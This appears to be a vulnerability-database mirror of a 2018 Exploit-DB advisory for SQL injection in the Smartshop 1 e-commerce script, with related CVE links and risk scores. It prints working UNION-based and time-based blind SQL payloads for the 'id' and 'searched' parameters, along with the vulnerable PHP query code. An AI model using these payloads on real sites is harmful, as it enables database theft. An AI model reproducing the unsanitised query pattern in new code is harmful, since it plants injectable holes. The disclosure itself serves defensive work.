Lucene search
+L

Smartshop 1 - 'id' SQL Injection (SQLi)

🗓️ 03 Jun 2018 00:00:00Reported by L0RDType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 97 Views

Smartshop 1 - 'id' SQL Injection, Union, Time-based blin

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2018-25340
23 May 202618:30
–attackerkb
attackerkb
attackerkb
CVE-2018-25342
23 May 202618:30
–attackerkb
attackerkb
attackerkb
CVE-2018-25341
23 May 202618:30
–attackerkb
cnnvd
CNNVD
Smartshop SQL injection vulnerability
23 May 202600:00
–cnnvd
cnnvd
CNNVD
Smartshop SQL injection vulnerability
23 May 202600:00
–cnnvd
cnnvd
CNNVD
Smartshop SQL injection vulnerability
23 May 202600:00
–cnnvd
cve
CVE
CVE-2018-25340
23 May 202618:30
–cve
cve
CVE
CVE-2018-25341
23 May 202618:30
–cve
cve
CVE
CVE-2018-25342
23 May 202618:30
–cve
cvelist
Cvelist
CVE-2018-25340 Smartshop 1 SQL Injection via category.php
23 May 202618:30
–cvelist
Rows per page
# Exploit Title: Smartshop 1 - SQL Injection
# Date: 2018-06-02
# Exploit Author: L0RD or [email protected]
# Software Link: https://github.com/smakosh/Smartshop/archive/master.zip
# Vendor Homepage: https://www.behance.net/gallery/49080415/Smartshop-Free-e-commerce-website
# Version: 1
# Tested on: Kali linux
=================================================
# Description :
Smartshop 1 suffers from sql injection which attacker can inject sql
commands .
=================================================
# POC : SQLi

# vulnerable files : [ category.php  , product.php , search.php ]

1) category.php :
# Parameter : id
# Type : Union based
# Payload : ' UNION SELECT 1,user(),3,4,5%23

# Vulnerable code :

$id_category =$_GET['id'];
$start = ($page > 1) ? ($page * $perpage) - $perpage : 0;
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE id_category = '{$id_category}' ORDER BY id
DESC LIMIT {$start}, 16";
$result = $connection->query($queryproduct);

=================================================

2) product.php :
# Parameter : id
# Type : Union based
# Payload : ' UNION SELECT 1,user(),database(),4,5,6%23

# Vulnerable code :

$id_product =$_GET['id'];
$queryproduct = "SELECT id, name, price, description, id_picture, thumbnail
 FROM product WHERE id = '{$id_product}'";
$result1 = $connection->query($queryproduct);

=================================================

3) search.php :
# Parameter : searched
# Type : Time-based blind
# Payload : ' AND SLEEP(10)%23

# Vulnerable code :

$word = $_GET['searched'];
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE name LIKE '%{$word}%' ORDER BY id DESC LIMIT
{$start}, 16";
$result = $connection->query($queryproduct);

=================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.2
CVSS 48.8
EPSS0.00606
SSVC
97